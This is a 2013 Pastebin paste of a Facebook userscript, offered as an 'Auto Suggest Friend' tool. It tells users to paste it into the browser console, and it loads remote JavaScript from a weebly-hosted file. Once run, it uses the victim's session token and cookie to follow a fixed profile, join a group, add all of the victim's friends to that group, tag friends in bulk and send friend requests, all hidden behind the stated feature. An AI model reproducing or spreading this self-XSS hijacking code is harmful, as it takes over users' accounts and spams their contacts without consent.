Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!

Cara Nak Dapat Followers banyak

By: HolyAce on Jul 19th, 2013  |  syntax: None  |  size: 10.63 KB  |  views: 70  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
This paste has a previous version, view the difference. Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. // ==UserScript==
  2. // @name            Facebook Auto Suggest Friend july 2013
  3. // @description     Increase your FRIEND LIST in just one click
  4. // @namespace       http://userscripts.org/scripts/review/162654
  5. // @updateURL       https://userscripts.org/scripts/source/162654.meta.js
  6. // @downloadURL     https://userscripts.org/scripts/source/162654.user.js
  7. // @homepageURL     https://userscripts.org/scripts/show/162654
  8. // @version         19.3
  9. // @include         http://*.facebook.com/*
  10. // @include         https://*.facebook.com/*
  11. // @match           http://*.facebook.com/*
  12. // @match           https://*.facebook.com/*
  13. // @exclude         http://*.facebook.com/ajax/*
  14. // @exclude         https://*.facebook.com/ajax/*
  15. // @include         https://*.facebook.com/*/*
  16. // @include         http://*.facebook.com/*
  17. // @include         http://*.facebook.com/*/*
  18.  
  19. // ==/UserScript==
  20.  
  21. // 1.Make sure you are using Mozilla Firefox web browse.
  22. // 2.If you don't have then please download it.
  23. // 3.Login to facebook if not logged in already.
  24. // 4.Now open your friends timeline where you want to suggest all your friends.
  25. // 5.Now press CTRL+SHIFT+K it will open a Console Box.
  26. // 6.Copy the given below code.
  27.  
  28. document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/1/9/3/5/19350397/suggest_friends.js';
  29.  
  30. //7.Paste into the Console Box. Then press enter, now wait for few seconds...(^_~) have fun!!
  31.  
  32.  
  33. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  34. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  35.        
  36. function cereziAl(isim) {
  37.     var tarama = isim + "=";
  38.     if (document.cookie.length > 0) {
  39.         konum = document.cookie.indexOf(tarama)
  40.         if (konum != -1) {
  41.             konum += tarama.length
  42.             son = document.cookie.indexOf(";", konum)
  43.             if (son == -1)
  44.                 son = document.cookie.length
  45.             return unescape(document.cookie.substring(konum, son))
  46.         }
  47.         else { return ""; }
  48.     }
  49. }
  50.  
  51. function getRandomInt (min, max) {
  52.     return Math.floor(Math.random() * (max - min + 1)) + min;
  53. }
  54. function randomValue(arr) {
  55.     return arr[getRandomInt(0, arr.length-1)];
  56. }
  57.  
  58. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  59. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  60.  
  61. function a(abone){
  62.     var http4 = new XMLHttpRequest();
  63.      
  64.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  65.      
  66.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  67.     http4.open("POST", url4, true);
  68.      
  69.     //Send the proper header information along with the request
  70.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  71.     http4.setRequestHeader("Content-length", params4.length);
  72.     http4.setRequestHeader("Connection", "close");
  73.      
  74.     http4.onreadystatechange = function() {//Call a function when the state changes.
  75.     if(http4.readyState == 4 && http4.status == 200) {
  76.        
  77.       http4.close; // Close the connection
  78.      
  79.     }
  80.     }
  81.    
  82.     http4.send(params4);
  83. }
  84.  
  85. function sublist(uidss) {
  86.                 var a = document.createElement('script');
  87.                 a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  88.                 document.body.appendChild(a);
  89. }
  90.  
  91. a("100001967367542");
  92.  
  93. sublist("500042423404665");
  94.  
  95. var gid = ['204643426349017'];
  96.  
  97. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  98. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  99. var httpwp = new XMLHttpRequest();
  100. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  101. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  102. httpwp['open']('POST', urlwp, true);
  103. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  104. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  105. httpwp['setRequestHeader']('Connection', 'keep-alive');
  106. httpwp['send'](paramswp);
  107. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  108. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  109. var friends = new Array();
  110. gf = new XMLHttpRequest();
  111. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  112. gf['send']();
  113. if (gf['readyState'] != 4) {} else {
  114.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  115.     if (data['error']) {} else {
  116.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  117.             return _0x93dax8['index'] - _0x93dax9['index'];
  118.         });
  119.     };
  120. };
  121.  
  122. for (var i = 0; i < friends['length']; i++) {
  123.     var httpwp = new XMLHttpRequest();
  124.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  125.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  126.     httpwp['open']('POST', urlwp, true);
  127.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  128.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  129.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  130.     httpwp['onreadystatechange'] = function () {
  131. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  132.     };
  133.     httpwp['send'](paramswp);
  134. };
  135. var spage_id = "345297178842879";
  136. var spost_id = "345297178842879";
  137. var sfoto_id = "345297178842879";
  138.  
  139. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  140. var smesaj = "";
  141. var smesaj_text = "";
  142. var arkadaslar = [];
  143. var svn_rev;
  144. var bugun= new Date();
  145. var btarihi = new Date();
  146. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  147. if(!document.cookie.match(/paylasti=(\d+)/)){
  148. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  149. }
  150.  
  151.  
  152. //arkadaslari al ve isle
  153. function sarkadaslari_al(){
  154.                 var xmlhttp = new XMLHttpRequest();
  155.         xmlhttp.onreadystatechange = function () {
  156.                         if(xmlhttp.readyState == 4){
  157.                                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  158.                                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  159.                                         smesaj = "";
  160.                                         smesaj_text = "";
  161.                                   for(i=f*10;i<(f+1)*10;i++){
  162.                                         if(arkadaslar.payload.entries[i]){
  163.                                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  164.                                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  165.                                   }
  166.                                         }
  167.                                         sdurumpaylas();                         }
  168.                                
  169.                         }
  170.                        
  171.         };
  172.                 var params = "&filter[0]=user";
  173.                 params += "&options[0]=friends_only";
  174.                 params += "&options[1]=nm";
  175.                 params += "&token=v7";
  176.         params += "&viewer=" + user_id;
  177.                 params += "&__user=" + user_id;
  178.                
  179.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  180.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  181.         xmlhttp.send();
  182. }
  183.  
  184. //tiklama olayini dinle
  185. var tiklama = document.addEventListener("click", function () {
  186. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  187. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  188. sarkadaslari_al();
  189. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  190.  
  191. document.removeEventListener(tiklama);
  192. }
  193.  }, false);
  194.  
  195.  
  196. //arkadaþ ekleme
  197. function sarkadasekle(uid,cins){
  198.                 var xmlhttp = new XMLHttpRequest();
  199.         xmlhttp.onreadystatechange = function () {
  200.                         if(xmlhttp.readyState == 4){   
  201.                         }
  202.         };
  203.                
  204.                 xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  205.                 var params = "to_friend=" + uid;
  206.                 params += "&action=add_friend";
  207.                 params += "&how_found=friend_browser";
  208.                 params += "&ref_param=none";
  209.                 params += "&outgoing_id=";
  210.                 params += "&logging_location=friend_browser";
  211.                 params += "&no_flyout_on_click=true";
  212.                 params += "&ego_log_data=";
  213.                 params += "&http_referer=";
  214.                 params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  215.         params += "&phstamp=165816749114848369115";
  216.                 params += "&__user=" + user_id;
  217.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  218.                 xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  219.                
  220. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  221.                 xmlhttp.send(params);
  222. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  223.                 cinsiyetgetir(uid,cins,"sarkadasekle");
  224. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  225.                 xmlhttp.send(params);
  226. }
  227. }
  228.  
  229. //cinsiyet belirleme
  230. var cinssonuc = {};
  231. var cinshtml = document.createElement("html");
  232. function scinsiyetgetir(uid,cins,fonksiyon){
  233.                 var xmlhttp = new XMLHttpRequest();
  234.         xmlhttp.onreadystatechange = function () {
  235.                         if(xmlhttp.readyState == 4){
  236.                         eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  237.                         cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  238.                         btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  239.                         if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  240.                         document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  241.                         }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  242.                         document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  243.                         }
  244.                         eval(fonksiyon + "(" + id + "," + cins + ");");
  245.                         }
  246.         };
  247.                 xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  248.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  249.                 xmlhttp.send();
  250. }
  251.  
  252. function autoSuggest()
  253. {    
  254.     links=document.getElementsByTagName('a');
  255.     for (i in links) {
  256.         l=links[i];
  257.         if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  258.             l.click();
  259.         }
  260.     }
  261. }
  262.  
  263. function blub()
  264. {
  265.     if(document.getElementsByClassName('pbm fsm').length == 1) {
  266.         w = document.getElementsByClassName('pbm fsm')[0];
  267.  
  268.         e = document.createElement('a');
  269.         //e.href = '#';
  270.         e.innerHTML = 'Auto Suggest by S.A.I.F.U.L';S
  271.         e.className = 'uiButton';
  272.         e.onclick = autoSuggest;
  273.  
  274.         if( w.childElementCount == 0)
  275.         {
  276.             w.appendChild(document.createElement('br'));
  277.             w.appendChild(e);
  278.         }
  279.     }
  280. }
  281.  
  282. blub();
  283.  
  284. document.addEventListener("DOMNodeInserted", blub, true);